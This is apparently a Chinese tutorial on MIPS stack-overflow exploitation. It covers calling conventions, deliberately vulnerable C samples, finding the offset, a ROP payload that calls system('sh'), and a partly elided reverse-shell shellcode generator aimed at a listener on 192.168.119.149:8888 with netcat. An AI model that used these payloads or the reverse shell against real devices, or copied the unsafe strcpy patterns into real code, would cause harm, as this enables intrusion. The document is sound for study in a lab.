MIPS栈溢出:ROP构造与Shellocde注入
字数 1607 2025-08-29 22:41:39
MIPS栈溢出:ROP构造与Shellcode注入技术详解
0. 前言
本文详细讲解MIPS架构下的栈溢出漏洞利用技术,包括ROP链构造和Shellcode注入方法。学习本教程前需要具备基本的MIPS汇编知识和缓冲区溢出概念。
环境要求:
- 推荐使用Ubuntu 16.04系统
- 避免使用Ubuntu 18.04或更高版本,可能导致gadget找不到
- 程序至少应在Ubuntu 16.04上交叉编译
1. MIPS32架构堆栈特点
MIPS32架构与x86架构在函数调用方式上有显著差异:
- 无EBP寄存器:MIPS没有栈底指针(EBP),函数进栈时只需将当前指针向下移动n个比特(n为函数所需堆栈空间大小),之后不再移动指针
- 参数传递方式:
- 前4个参数通过\(a0-\)a3寄存器传递
- 超过4个的参数放入调用参数空间
- 返回地址存储:
- x86:返回地址压入堆栈
- MIPS:返回地址存入$ra寄存器
2. MIPS函数调用机制
2.1 叶子函数与非叶子函数
- 叶子函数:函数内部不再调用其他任何函数
- 非叶子函数:函数内部会调用其他函数
调用过程:
- call指令复制当前\(PC值到\)RA寄存器,然后跳转到被调函数执行
- 判断被调函数类型:
- 非叶子函数:将$RA中的返回地址存入堆栈
- 叶子函数:保持$RA不变
- 函数返回时:
- 非叶子函数:从堆栈取出返回地址存入\(RA,然后`jr \)ra`
- 叶子函数:直接
jr $ra
2.2 函数调用参数传递示例
#include<stdio.h>
int test(int a,int b,int c,int d,int e,int f,int g);
int main() {
test(0,1,2,3,4,5,6);
return 0;
}
int test(int a, int b, int c, int d, int e, int f, int g) {
char s[50]={0};
sprintf(s,"%d%d%d%d%d%d%d",a,b,c,d,e,f,g);
}
参数传递特点:
- 前4个参数(v1-v4)存入\(a0-\)a3
- 后3个参数(v5-v7)按正序压入main函数栈顶预留空间
- 低地址对应v5,高地址递增存放v6、v7
3. MIPS缓冲区溢出原理
3.1 非叶子函数溢出
#include<stdio.h>
void stack(char *src){
char a[20]={0};
strcpy(a,src);
}
int main(int argc,char *argv[]){
stack(argv[1]);
return 0;
}
特点:
- stack是非叶子函数,会将main的返回地址存入自己的堆栈
- 缓冲区溢出可能覆盖main的返回地址
- 与x86架构溢出原理相似
3.2 叶子函数溢出
#include<stdio.h>
void stack(char *src, int count){
char s[20]={0};
int i=0;
for(i=0;i<count;i++) s[i]=src[i];
}
int main(int argc,char *argv[]) {
int count=strlen(argv[1]);
stack(argv[1],count);
return 0;
}
特点:
- stack是叶子函数,main的返回地址保持在$ra寄存器中
- 常规溢出无法覆盖$ra寄存器
- 但如果溢出足够大,可以覆盖main函数栈帧中上层函数的返回地址
4. 漏洞利用实战
4.1 示例漏洞代码
#include<stdio.h>
#include<sys/stat.h>
#include<unistd.h>
void do_system(int code,char *cmd) {
char buf[255];
system(cmd);
}
void main() {
char buf[256]={0};
//...文件读取和密码验证逻辑...
if(!strcmp(buf,"adminpwd")) {
do_system(count,"ls -L");
}
//...
}
4.2 确定偏移量
- 生成测试数据:
python -c "print 'A'*500" > passwd - 动态调试配置:
mips-linux-gnu-gcc -g -fno-stack-protector -no-pie -fno-pie -z execstack vuln_system.c -static -o vuln_system sudo chroot . ./qemu-mips-static -g 1234 ./vuln_system - 使用patternLocOffset.py确定精确偏移:
本例中偏移量为404字节(0x194)python patternLocOffset.py -c -l 1000 -f passwd python patternLocOffset.py -s [崩溃地址] -l 1000
4.3 ROP链构造
目标:利用do_system函数执行任意命令
-
查找合适的gadget:
- 使用IDA的mipsrop插件:
mipsrop.stackfinders() - 选择能控制$a1寄存器的gadget(本例使用0x004474BC)
- 使用IDA的mipsrop插件:
-
构造payload:
import struct cmd = "sh" cmd += "\00"*(4-(len(cmd) %4)) # 栈对齐 shellcode = "A"*0x194 shellcode += struct.pack(">L",0x004474BC) # gadget地址 shellcode += "A"*0x18 # padding shellcode += cmd # 命令字符串 shellcode += "B"*(0x3C - len(cmd)) # 填充 shellcode += struct.pack(">L", 0x00400A80) # do_system地址
4.4 Shellcode注入
反向连接Shellcode构造:
import struct
import socket
def makeshellcode(hostip,port):
# 转换IP和端口为网络字节序
host=socket.ntohl(struct.unpack('I',socket.inet_aton(hostip))[0])
hosts=struct.unpack('cccc',struct.pack('>L',host))
ports=struct.unpack('cccc',struct.pack('>L',port))
# Shellcode主体
mipshell = "\x24\x0f\xff\xfa" # li t7,-6
mipshell += "\x01\xe0\x78\x27" # nor t7,t7,zero
# ...(省略中间部分)...
mipshell += "\x01\x01\x01\x0c" # syscall 0x40404
return mipshell
# 使用示例
payload = "a"*0x194
payload += struct.pack(">L",0x7ffff5d0) # 栈地址
payload += makeshellcode('192.168.119.149',8888) # 监听IP和端口
注意事项:
- 某些端口(如4444)可能被占用,建议使用其他端口(如8888)
- 确保攻击机和靶机网络互通
- 使用NetCat监听:
nc -lvp 8888
5. 关键问题与解决方案
-
gadget找不到问题:
- 确保使用Ubuntu 16.04环境
- 交叉编译时使用相同环境
- 尝试不同gadget搜索工具(ROPgadget/mipsrop)
-
Shellcode执行失败:
- 检查栈地址是否正确
- 确保没有坏字符(NULL字节等)
- 验证网络连接和端口可用性
-
动态调试技巧:
- 使用IDA远程调试
- 在关键函数(如do_system)设置断点
- 观察寄存器值和内存变化
6. 总结
MIPS架构下的漏洞利用需要特别注意:
- 函数调用约定与x86不同
- 叶子函数与非叶子函数的区别
- 参数传递方式特殊
- ROP构造需要找到合适的gadget控制\(a0-\)a3寄存器
- Shellcode需要针对MIPS架构特别编写
通过本文介绍的方法,可以系统性地进行MIPS栈溢出漏洞的分析和利用,实现ROP链构造和Shellcode注入。